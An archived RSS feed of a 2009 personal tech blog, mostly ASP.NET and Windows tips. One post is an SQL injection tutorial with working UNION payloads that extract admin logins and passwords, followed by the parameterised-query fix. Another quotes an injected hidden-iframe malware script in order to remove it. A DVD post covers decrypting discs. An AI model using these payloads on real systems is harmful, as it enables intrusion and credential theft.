<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>jw0rd.net</title>
	<atom:link href="http://jw0rd.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://jw0rd.net</link>
	<description>Archived Tech Knowledge</description>
	<lastBuildDate>Mon, 18 May 2009 00:09:42 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Windows 7 RC First Impression</title>
		<link>http://jw0rd.net/2009/05/11/windows-7-rc-first-impression/</link>
		<comments>http://jw0rd.net/2009/05/11/windows-7-rc-first-impression/#comments</comments>
		<pubDate>Mon, 11 May 2009 20:21:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Windows 7 RC]]></category>

		<guid isPermaLink="false">http://jw0rd.net/?p=342</guid>
		<description><![CDATA[I am pleasantly surprised with what is now available in Windows 7. It has a similar feel to Vista but appears to use less overhead.
All screen shots were taken on a virtual machine running Windows 7 Build 7100 RC.
Desktop:

Microsoft included Bitlocker, a tool used for full drive encryption. This tool makes it very difficult for [...]]]></description>
			<content:encoded><![CDATA[<p>I am pleasantly surprised with what is now available in Windows 7. It has a similar feel to Vista but appears to use less overhead.</p>
<p><em>All screen shots were taken on a virtual machine running Windows 7 Build 7100 RC.</em></p>
<p>Desktop:<br />
<a href="http://jw0rd.net/wp-content/uploads/2009/05/desktop.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/05/desktop-300x168.jpg" alt="desktop" title="desktop" width="300" height="168" class="alignnone size-medium wp-image-343" /></a></p>
<blockquote><p>Microsoft included Bitlocker, a tool used for full drive encryption. This tool makes it very difficult for common exploits to retrieve data through non Windows services or secondary Operating Systems.
</p></blockquote>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/05/bitlocker.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/05/bitlocker-300x61.jpg" alt="bitlocker" title="bitlocker" width="300" height="61" class="alignnone size-medium wp-image-346" /></a></p>
<blockquote><p>Also included is a back-up utility with the ability to back-up to a Network Share. </p></blockquote>
<p><img src="http://jw0rd.net/wp-content/uploads/2009/05/networkbackup_2.jpg" alt="networkbackup_2" title="networkbackup_2" width="632" height="524" class="alignnone size-full wp-image-353" /></p>
<p><img src="http://jw0rd.net/wp-content/uploads/2009/05/networkbackup_3.jpg" alt="networkbackup_3" title="networkbackup_3" width="620" height="515" class="alignnone size-full wp-image-355" /></p>
<p><img src="http://jw0rd.net/wp-content/uploads/2009/05/networkbackup_4.jpg" alt="networkbackup_4" title="networkbackup_4" width="624" height="539" class="alignnone size-full wp-image-356" /></p>
<blockquote><p>You can create a full system image or just specific parts. And of course, scheduling.
</p></blockquote>
<p><img src="http://jw0rd.net/wp-content/uploads/2009/05/networkbackup_5.jpg" alt="networkbackup_5" title="networkbackup_5" width="623" height="537" class="alignnone size-full wp-image-358" /></p>
<p><img src="http://jw0rd.net/wp-content/uploads/2009/05/networkbackup_6.jpg" alt="networkbackup_6" title="networkbackup_6" width="621" height="517" class="alignnone size-full wp-image-359" /></p>
<blockquote><p>And like Vista, IIS7 is available for ASP .NET developers <img src='http://jw0rd.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p></blockquote>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/05/iis7.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/05/iis7-300x241.jpg" alt="iis7" title="iis7" width="300" height="241" class="alignnone size-medium wp-image-361" /></a></p>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/05/iis72.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/05/iis72.jpg" alt="iis72" title="iis72" class="alignnone" width="600" height="316" /></a></p>
<blockquote><p>New to me, PowerShell 2.0. The language reminds me of c#, sorta.</p></blockquote>
<p><a href="http://www.microsoft.com/windowsserver2003/technologies/management/powershell/default.mspx">http://www.microsoft.com/windowsserver2003/technologies/management/powershell/default.mspx</a></p>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/05/powershell.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/05/powershell.jpg" alt="powershell" title="powershell" class="alignnone" width="600" height="390" /></a></p>
<blockquote><p>The RC key doesn&#8217;t expire until June 10, 2010 so I don&#8217;t see this being finalized until at least 2011. I may upgrade my daily desktop shortly, it uses the about the same resources of XP Pro at idle.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://jw0rd.net/2009/05/11/windows-7-rc-first-impression/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>DotNetNuke redirect loop</title>
		<link>http://jw0rd.net/2009/05/09/dotnetnuke-redirect-loop/</link>
		<comments>http://jw0rd.net/2009/05/09/dotnetnuke-redirect-loop/#comments</comments>
		<pubDate>Sat, 09 May 2009 14:34:16 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[ASP .NET]]></category>

		<guid isPermaLink="false">http://jw0rd.net/?p=334</guid>
		<description><![CDATA[If you are getting a DotNetNuke redirect loop upon deploying your site to a production web server it is usually one of two things:
1) You are setting the trust level to medium and using the 1.0.61025.0 version of System.Web.Extensions. Update the trust level to full and and update ALL occurrences of System.Web.Extensions to 3.5.0.0 in [...]]]></description>
			<content:encoded><![CDATA[<p>If you are getting a DotNetNuke redirect loop upon deploying your site to a production web server it is usually one of two things:</p>
<p>1) You are setting the trust level to medium and using the 1.0.61025.0 version of System.Web.Extensions. Update the trust level to full and and update ALL occurrences of System.Web.Extensions to 3.5.0.0 in the web.config (assuming .NET 3.5 framework is installed).</p>
<p>Original:</p>
<p><code>&lt;trust level="Medium"...</code><br />
<code>...</code><br />
<code>...System.Web.Extensions, Version=1.0.61025.0...</code></p>
<p>Updated:</p>
<p><code>&lt;trust level="Full"...</code><br />
<code>...</code><br />
<code>...System.Web.Extensions, Version=3.5.0.0...</code></p>
<p>2) You have a trailing slash in the HTTPAlias field in the PortAlias table, remove it.</p>
<p>That&#8217;s it</p>
]]></content:encoded>
			<wfw:commentRss>http://jw0rd.net/2009/05/09/dotnetnuke-redirect-loop/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Encrypt connectionstrings ASP .NET</title>
		<link>http://jw0rd.net/2009/05/02/encrypt-connectionstrings-asp-net/</link>
		<comments>http://jw0rd.net/2009/05/02/encrypt-connectionstrings-asp-net/#comments</comments>
		<pubDate>Sat, 02 May 2009 20:36:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[ASP .NET]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://jw0rd.net/?p=319</guid>
		<description><![CDATA[On shared web servers it is usually a good idea to encrypt your connectionstrings element as your web.config may be world readable depending on application pool identities, IUSR identities, and the machine.config trust level. You can do this with the aspnet_regiis utility (errr, your host can do it). Open up a command prompt, change directory [...]]]></description>
			<content:encoded><![CDATA[<p>On shared web servers it is usually a good idea to encrypt your connectionstrings element as your web.config may be world readable depending on application pool identities, IUSR identities, and the machine.config trust level. You can do this with the aspnet_regiis utility (errr, your host can do it). Open up a command prompt, change directory to C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727 and run the following:</p>
<p>The first command encrypts; replace domain.com with your site name in IIS and the -app switch should be followed by the application name, in this case the webroot:</p>
<blockquote><p>C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727>aspnet_regiis -pe connectionStrings -app / -site domain.com<br />
Encrypting configuration section&#8230;<br />
Succeeded!</p></blockquote>
<p>The second and third commands grant read access to the key for decryption. This permission needs to be granted to ASPNET and your application pool identity. The value following the -pa switch can be found in the C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\CONFIG\machine.config where the RSAProtectedConfigurationProvider name is defined :</p>
<p><code>&lt;add name="RsaProtectedConfigurationProvider"......keyContainerName="NetFrameworkConfigurationKey"</code></p>
<blockquote><p>C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727>aspnet_regiis -pa &#8220;NetFrameworkConfigurationKey&#8221; &#8220;ASPNET&#8221;<br />
Adding ACL for access to the RSA Key container&#8230;<br />
Succeeded!</p></blockquote>
<blockquote><p>C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727>aspnet_regiis -pa &#8220;NetFrameworkConfigurationKey&#8221; &#8220;NETWORK SERVICE&#8221;<br />
Adding ACL for access to the RSA Key container&#8230;<br />
Succeeded!</p></blockquote>
<p>Original:</p>
<p><code>&lt;connectionStrings&gt;
  &lt;add name="stringname" connectionString="Data Source=SERVER;Initial Catalog=database;Persist Security Info=True;User ID=login;Password=password"
   providerName="System.Data.SqlClient" /&gt;
 &lt;/connectionStrings&gt;</code></p>
<p>Encrypted (partially truncated):</p>
<p><code>&lt;connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider"&gt;
  &lt;EncryptedData Type="http://www.w3.org/2001/04/xmlenc#Element"
   xmlns="http://www.w3.org/2001/04/xmlenc#"&gt;
   &lt;EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc" /&gt;
   &lt;KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#"&gt;
    &lt;EncryptedKey xmlns="http://www.w3.org/2001/04/xmlenc#"&gt;
     &lt;EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5" /&gt;
     &lt;KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#"&gt;
      &lt;KeyName&gt;Rsa Key&lt;/KeyName&gt;
     &lt;/KeyInfo&gt;
     &lt;CipherData&gt;
      &lt;CipherValue&gt;pb74wqH93ZDjJNrHSkRqBJKxvq4eS4MDq+vF2RvWZSFhXBkgBcS...tWmHYi8=&lt;/CipherValue&gt;
     &lt;/CipherData&gt;
    &lt;/EncryptedKey&gt;
   &lt;/KeyInfo&gt;
   &lt;CipherData&gt;
    &lt;CipherValue&gt;KY4ESXL95+AtOAu3QRBURO5ij6GKTUDmosRcQ2YzOGtt8mLGs0wJLONl0i1mA...qJioHKV0tOl3Y=&lt;/CipherValue&gt;
   &lt;/CipherData&gt;
  &lt;/EncryptedData&gt;
 &lt;/connectionStrings&gt;</code></p>
<p>That&#8217;s it</p>
]]></content:encoded>
			<wfw:commentRss>http://jw0rd.net/2009/05/02/encrypt-connectionstrings-asp-net/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Acumen DG8 cbr929rr</title>
		<link>http://jw0rd.net/2009/04/13/acumen-dg8-cbr929rr/</link>
		<comments>http://jw0rd.net/2009/04/13/acumen-dg8-cbr929rr/#comments</comments>
		<pubDate>Tue, 14 Apr 2009 02:52:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://jw0rd.net/?p=303</guid>
		<description><![CDATA[Finally got my Acumen installed on my 929 and I&#8217;m liking the look   

Haven&#8217;t gotten the chance to configure it yet tho
]]></description>
			<content:encoded><![CDATA[<p>Finally got my Acumen installed on my 929 and I&#8217;m liking the look <img src='http://jw0rd.net/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' />  </p>
<p><img alt="" src="http://jw0rd.net/wp-content/uploads/2009/04/IMG_0275.jpg" title="Dg8" class="alignnone" width="600" height="450" /></p>
<p>Haven&#8217;t gotten the chance to configure it yet tho</p>
]]></content:encoded>
			<wfw:commentRss>http://jw0rd.net/2009/04/13/acumen-dg8-cbr929rr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Basic MS SQL Injection</title>
		<link>http://jw0rd.net/2009/04/12/basic-ms-sql-injection/</link>
		<comments>http://jw0rd.net/2009/04/12/basic-ms-sql-injection/#comments</comments>
		<pubDate>Mon, 13 Apr 2009 00:01:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[MS SQL]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://jw0rd.net/?p=252</guid>
		<description><![CDATA[The most commonly used entry method for web applications today is through SQL injection. Anyone with just a little knowledge of SQL syntax can obtain vital information from a business or inject malicious code to be rendered when anonymous users visit a page. The purpose of the following article is to educate developers and administrators [...]]]></description>
			<content:encoded><![CDATA[<p>The most commonly used entry method for web applications today is through SQL injection. Anyone with just a little knowledge of SQL syntax can obtain vital information from a business or inject malicious code to be rendered when anonymous users visit a page. The purpose of the following article is to educate developers and administrators of the security vulnerabilities that may exist in their publicly accessible web sites.</p>
<p>Example:<br />
<code>http://jw0rd.com/test2.cfm?id=1</code></p>
<p>A basic database driven ColdFusion page that uses the URL parameter &#8216;id&#8217; in a SQL SELECT statement. This is what the output of the page is supposed to look like:</p>
<p><img src="http://jw0rd.net/wp-content/uploads/2009/04/correct.jpg" alt="correct" title="correct" width="406" height="427" class="alignnone size-full wp-image-254" /></p>
<p>The coding on this page selects a record from the &#8216;articles&#8217; table where id = #URL.id#</p>
<p><code>select * from articles where id = #URL.id#</code></p>
<p>It then outputs the title, category, and article fields for that row where id = #URL.id#. Like a lot of poorly coded web applications there is no sanitation on the URL parameter &#8216;id&#8217;, so lets alter the SQL statement and add a UNION.</p>
<p>URL encoding &#8211; <a href="http://www.w3schools.com/TAGS/ref_urlencode.asp">http://www.w3schools.com/TAGS/ref_urlencode.asp</a><br />
%20 = [space]<br />
%27 = &#8216;</p>
<p><code>http://jw0rd.com/test2.cfm?id=1%20union%20select%201,%27%27,login,password%20from%20admin</code></p>
<p>The full SQL statement is now:<br />
<code>select * from articles union select 1,'',login,password from admin</code></p>
<p>The output on the page is now two records, one from the articles table and one from the admin table.</p>
<p><img src="http://jw0rd.net/wp-content/uploads/2009/04/oops.jpg" alt="oops" title="oops" width="601" height="509" class="alignnone size-full wp-image-266" /></p>
<p>Now let&#8217;s add a select on @@version to determine the version of SQL the database server is running and also SYSTEM_USER to see if its possibly using a high privileged SQL account such as &#8217;sa&#8217;.</p>
<p><code>http://jw0rd.com/test2.cfm?id=1%20union%20select%201,@@version,SYSTEM_USER,%27%27%20from%20admin%20order%20by%20title</code></p>
<p>The full SQL statement is now:<br />
<code>select * from articles union select 1,@@version,SYSTEM_USER,'' from admin order by title</code></p>
<p><img src="http://jw0rd.net/wp-content/uploads/2009/04/oops2.jpg" alt="oops2" title="oops2" width="723" height="555" class="alignnone size-full wp-image-273" /></p>
<p>Now that you get the idea of how to exploit through SQL injection how do you prevent it? ALL variables that can be POST&#8217;d or GET&#8217;d from an anonymous user need to be sanitized. For our ColdFusion example above the use of the &#8216;cfqueryparam&#8217; tag will get the job done -> <a href="http://livedocs.adobe.com/coldfusion/8/htmldocs/help.html?content=Tags_p-q_18.html">http://livedocs.adobe.com/coldfusion/8/htmldocs/help.html?content=Tags_p-q_18.html</a></p>
<p>Original, vulnerable SQL Statement in test2.cfm:</p>
<p><code>select * from articles where id = #URL.id#</code></p>
<p>Updated, secure SQL statement:</p>
<p><code>select * from articles where id = &lt;cfqueryparam value="#URL.id#" CFSQLType = "CF_SQL_INTEGER"&gt;</code></p>
<p>Now that we are forcing that variable to be of type integer lets try to inject a SQL statement again.</p>
<p><img src="http://jw0rd.net/wp-content/uploads/2009/04/good.jpg" alt="good" title="good" width="818" height="400" class="alignnone size-full wp-image-291" /></p>
<p>SQL injection is no longer possible through the &#8216;id&#8217; parameter:</p>
<blockquote><p>Invalid data 1 union select 1,&#8221;,login,password from admin for CFSQLTYPE CF_SQL_INTEGER.</p></blockquote>
<p>Another security risk is the raw ColdFusion error that displays a snippet of our code to an anonymous user. Setting up custom error handling so that is not seen is always a good idea but is an entirely different subject.</p>
<p>Hopefully I will have some extra time soon to post a similar article related to basic MySQL injection techniques.</p>
]]></content:encoded>
			<wfw:commentRss>http://jw0rd.net/2009/04/12/basic-ms-sql-injection/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rip, build, and burn to dual layer DVD (DVD9)</title>
		<link>http://jw0rd.net/2009/03/18/rip-build-and-burn-to-dual-layer-dvd-dvd9/</link>
		<comments>http://jw0rd.net/2009/03/18/rip-build-and-burn-to-dual-layer-dvd-dvd9/#comments</comments>
		<pubDate>Thu, 19 Mar 2009 03:41:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Media]]></category>

		<guid isPermaLink="false">http://jw0rd.net/?p=188</guid>
		<description><![CDATA[This guide will walk you through ripping a DVD movie to your hard drive, building the ISO, and then burning that ISO to a dual layer disc (all for backup purposes of course).
Software Required:

DVD Decrypter &#8211; http://www.dvddecrypter.org.uk/
ImgBurn &#8211; http://www.imgburn.com/index.php?act=download
Hardware Required:

Burner that supports DVD+R/-R DL
Blank DVD+R/-R DL media (I only use Verbatim +R)
Once DVD Decrypter is [...]]]></description>
			<content:encoded><![CDATA[<p>This guide will walk you through ripping a DVD movie to your hard drive, building the ISO, and then burning that ISO to a dual layer disc (all for backup purposes of course).</p>
<p><strong>Software Required</strong>:</p>
<ul>
DVD Decrypter &#8211; <a href="http://www.dvddecrypter.org.uk/">http://www.dvddecrypter.org.uk/</a><br />
ImgBurn &#8211; <a href="http://www.imgburn.com/index.php?act=download">http://www.imgburn.com/index.php?act=download</a></ul>
<p><strong>Hardware Required</strong>:</p>
<ul>
Burner that supports DVD+R/-R DL<br />
Blank DVD+R/-R DL media (I only use Verbatim +R)</ul>
<p>Once DVD Decrypter is installed, open it and set the appropriate mode, Mode -> ISO -> Read.</p>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/03/1.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/03/1.jpg" alt="1" title="1" width="553" height="640" class="alignnone size-full wp-image-194" /></a></p>
<p>Select the source drive, take note that DVD Decrypter recognizes both layers and the break point:</p>
<blockquote><p>Number of Layers: 2<br />
Track Path: Opposite Track Path (OTP)<br />
Linear Density: 0.293 um/bit<br />
Track Density: 0.74 um/track<br />
First Physical Sector of Data Area: 196,608<br />
Last Physical Sector of Data Area: 16,567,183<br />
Last Physical Sector in Layer 0: 2,225,151</p>
<p>Layer Information:<br />
Layer 0 Sectors: 2,028,544 (50.17%)<br />
Layer 1 Sectors: 2,015,120 (49.83%)</p></blockquote>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/03/2.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/03/2.jpg" alt="2" title="2" width="554" height="638" class="alignnone size-full wp-image-196" /></a></p>
<p>Go to Tools -> Settings -> ISO Read Mode , verify that &#8220;create mds file&#8221; is checked.</p>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/03/25.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/03/25.jpg" alt="25" title="25" width="554" height="640" class="alignnone size-full wp-image-210" /></a></p>
<p>Set the Destination output for your .iso</p>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/03/3.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/03/3.jpg" alt="3" title="3" width="552" height="639" class="alignnone size-full wp-image-205" /></a></p>
<p>Click the Decrypt button and the let the .iso build</p>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/03/4.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/03/4.jpg" alt="4" title="4" width="546" height="641" class="alignnone size-full wp-image-207" /></a></p>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/03/5.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/03/5.jpg" alt="5" title="5" width="553" height="639" class="alignnone size-full wp-image-208" /></a></p>
<p>Once it completes you will see the .iso and .mds in the output directory you specified. The .iso is the actual image data and the .mds is the media descriptor file that contains the layer break info. </p>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/03/6.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/03/6-300x126.jpg" alt="6" title="6" width="300" height="126" class="alignnone size-medium wp-image-224" /></a></p>
<p>At this point you can eject the DVD, you have a full backup copy of it on your hard drive. You can play back from that image file by mounting it with media emulation software such as Daemon Tools. For DVD playback I personally like VLC media player.</p>
<ul>
Daemon Tools: <a href="http://www.disk-tools.com/download/daemon"> http://www.disk-tools.com/download/daemon </a><br />
VLC Media Player: <a href="http://www.videolan.org/vlc/">http://www.videolan.org/vlc/</a>
</ul>
<p>Once you have both installed there&#8217;s just a few quick steps to get going.</p>
<p>Enable a device through the Daemon Tools taskbar icon:</p>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/03/7.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/03/7.jpg" alt="7" title="7" width="471" height="215" class="alignnone size-full wp-image-230" /></a></p>
<p>Mount your image file (select the .mds or .iso, doesn&#8217;t matter):</p>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/03/8.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/03/8.jpg" alt="8" title="8" width="412" height="205" class="alignnone size-full wp-image-232" /></a></p>
<p>You should now see an additional device (In this case D:\ is the physical drive that still has the DVD in it, F:\ is the virtual drive that Daemon Tools created with our image mounted)</p>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/03/9.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/03/9.jpg" alt="9" title="9" width="388" height="163" class="alignnone size-full wp-image-234" /></a></p>
<p>Open VLC media player, go to Media -> Open Disc and select the virtual drive. Your DVD should now be playing from the image file you created.</p>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/03/10.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/03/10.jpg" alt="10" title="10" width="520" height="514" class="alignnone size-full wp-image-236" /></a></p>
<p>So now that we understand how to rip the DVD to an image file and play it back on a virtual drive, how do we burn the image file back to a blank dual layer disc?</p>
<p>Open ImgBurn and go to Mode -> Write. </p>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/03/11.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/03/11.jpg" alt="11" title="11" width="606" height="733" class="alignnone size-full wp-image-243" /></a></p>
<p>Select the source .mds file, update the Write Speed to what&#8217;s printed on the media, and click the Write icon.</p>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/03/12.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/03/12.jpg" alt="12" title="12" width="608" height="735" class="alignnone size-full wp-image-245" /></a></p>
<p>If you don&#8217;t get any warning related to layer breaks prior to the burn process starting everything was done properly. That&#8217;s it!</p>
]]></content:encoded>
			<wfw:commentRss>http://jw0rd.net/2009/03/18/rip-build-and-burn-to-dual-layer-dvd-dvd9/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Parser Error Message: Could not load file or assembly &#8216;System.Web.DataVisualization, &#8230; The system cannot find the file specified.</title>
		<link>http://jw0rd.net/2009/03/17/parser-error-message-could-not-load-file-or-assembly-systemwebdatavisualization-the-system-cannot-find-the-file-specified/</link>
		<comments>http://jw0rd.net/2009/03/17/parser-error-message-could-not-load-file-or-assembly-systemwebdatavisualization-the-system-cannot-find-the-file-specified/#comments</comments>
		<pubDate>Tue, 17 Mar 2009 23:44:35 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[ASP .NET]]></category>

		<guid isPermaLink="false">http://jw0rd.net/?p=179</guid>
		<description><![CDATA[If your .NET application is throwing a similar error you need to install service pack 1 of the .NET 3.5 framework along with Microsoft Chart Controls 
.NET 3.5 SP1: http://www.microsoft.com/downloads/details.aspx?FamilyId=AB99342F-5D1A-413D-8319-81DA479AB0D7&#038;displaylang=en
Chart Controls: http://www.microsoft.com/downloads/details.aspx?FamilyID=130f7986-bf49-4fe5-9ca8-910ae6ea442c&#038;displaylang=en
]]></description>
			<content:encoded><![CDATA[<p>If your .NET application is throwing a similar error you need to install service pack 1 of the .NET 3.5 framework along with Microsoft Chart Controls </p>
<p>.NET 3.5 SP1: <a href="http://www.microsoft.com/downloads/details.aspx?FamilyId=AB99342F-5D1A-413D-8319-81DA479AB0D7&#038;displaylang=en">http://www.microsoft.com/downloads/details.aspx?FamilyId=AB99342F-5D1A-413D-8319-81DA479AB0D7&#038;displaylang=en</a></p>
<p>Chart Controls: <a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=130f7986-bf49-4fe5-9ca8-910ae6ea442c&#038;displaylang=en">http://www.microsoft.com/downloads/details.aspx?FamilyID=130f7986-bf49-4fe5-9ca8-910ae6ea442c&#038;displaylang=en</a></p>
]]></content:encoded>
			<wfw:commentRss>http://jw0rd.net/2009/03/17/parser-error-message-could-not-load-file-or-assembly-systemwebdatavisualization-the-system-cannot-find-the-file-specified/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Visual Studio as a powerful search and replace tool</title>
		<link>http://jw0rd.net/2009/02/14/visual-studio-as-a-powerful-search-and-replace-tool/</link>
		<comments>http://jw0rd.net/2009/02/14/visual-studio-as-a-powerful-search-and-replace-tool/#comments</comments>
		<pubDate>Sun, 15 Feb 2009 02:36:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Server 2003]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://jw0rd.net/?p=138</guid>
		<description><![CDATA[Recently at work I was dealing with a server-wide compromise on a web server. A specific injection was appended to over 2000 files *.cfm files. Once getting permissions in order (the root issue) I was trying to figure out how to remove the injections. We have a very strong Storage Operations team and we make [...]]]></description>
			<content:encoded><![CDATA[<p>Recently at work I was dealing with a server-wide compromise on a web server. A specific injection was appended to over 2000 files *.cfm files. Once getting permissions in order (the root issue) I was trying to figure out how to remove the injections. We have a very strong Storage Operations team and we make backups daily, however restores tend to scare customers. Since the injections were all appended and none of the legitimate data was overwritten, it just needed to be removed.</p>
<p>Open Visual Studio and press ctrl+f. &#8220;Quick Replace&#8221; -> &#8220;Replace in Files&#8221;.</p>
<p><img src="http://jw0rd.net/wp-content/uploads/2009/02/1.jpg" alt="1" title="1" width="341" height="264" class="alignnone size-full wp-image-58" /></p>
<p>The injection we want to remove for this example is as follows:</p>
<p><code>&lt;script&gt;&lt;!--</code><br />
<code>var applstrna0 = "&lt;if";</code><br />
       <code>var applstrna1 = "rame src=http://www.maliciousdomain";</code><br />
       <code>var applstrna2 = ".com/CONTENT/faq.htm";</code><br />
       <code>var applstrna3 = " width=100 height=0&gt;&lt;/i";</code><br />
       <code>var applstrna4 = "frame&gt;";</code><br />
<code>document.write(applstrna0+applstrna1+applstrna2+applstrna3+applstrna4);</code><br />
<code>//--&gt;&lt;/script&gt;</code><br />
</br><br />
Notice the multiple line breaks and special characters, this is where Visual Studio regular expressions become handy.</p>
<p><a href="http://msdn.microsoft.com/en-us/library/2k3te2cs(VS.80).aspx">http://msdn.microsoft.com/en-us/library/2k3te2cs(VS.80).aspx</a></p>
<p>For this situation this we need to understand how to use these expressions:</p>
<p>Any character&nbsp;&nbsp;&nbsp;<strong>.</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Matches any single character except a line break.<br />
Zero or more&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>*</strong>&nbsp;&nbsp;&nbsp;&nbsp;Matches zero or more occurrences of the preceding expression, making all possible matches.<br />
Line break&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>\n</strong>&nbsp;&nbsp;&nbsp;Matches a platform-independent line break. In a Replace expression, inserts a line break.<br />
Escape&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<strong>\</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Matches the character that follows the backslash (\) as a literal. This allows you to find the characters used in regular expression notation, such as { and ^. For example, \^ Searches for the ^ character.</p>
<p><a href="http://jw0rd.net/wp-content/uploads/2009/02/21.jpg"><img src="http://jw0rd.net/wp-content/uploads/2009/02/21-150x150.jpg" alt="21" title="21" width="150" height="150" class="alignnone size-thumbnail wp-image-129" /></a></p>
<p>Here is the final search string:</p>
<p><code>\&lt;script\&gt;\&lt;\!\-\-\n.*\"\&lt;if\"\;\n.*domain\"\;\n.*faq\.htm\"\;\n.*\=0\&gt;\&lt;\/i\"\;\n.*frame\&gt;\"\;\n.*applstrna4\)\;\n.*\&lt;\/script\&gt;</code></br><br />
Be sure to select &#8220;Use: Regular Expressions&#8221; , then &#8220;Replace all&#8221;. If you&#8217;re on an internal network you can just use a UNC path in the &#8220;Look in:&#8221; input.</p>
<p>Once it completes it will tell you how many occurrences were replaced and it will actually make a log of it in your find results pane window. </p>
<blockquote><p><code>Replace all "\&lt;script\&gt;\&lt;\!\-\-\n.*\"\&lt;if\"\;\n.*domain\"\;\n
.*faq\.htm\"\;\n.*\=0\&gt;\&lt;\/i\"\;\n.*frame\&gt;\"\;\n.*applstrna4\)\;\n
.*\&lt;\/script\&gt;", "", Regular expressions, Find Results 1, "C:\", "*.aspx"
  C:\Default.aspx(32,1):
  Total replaced: 1  Matching files: 1  Total files searched: 1</code></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://jw0rd.net/2009/02/14/visual-studio-as-a-powerful-search-and-replace-tool/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Strange characters after Wordpress Upgrade (2.7)</title>
		<link>http://jw0rd.net/2009/01/16/strange-characters-after-wordpress-upgrade-27/</link>
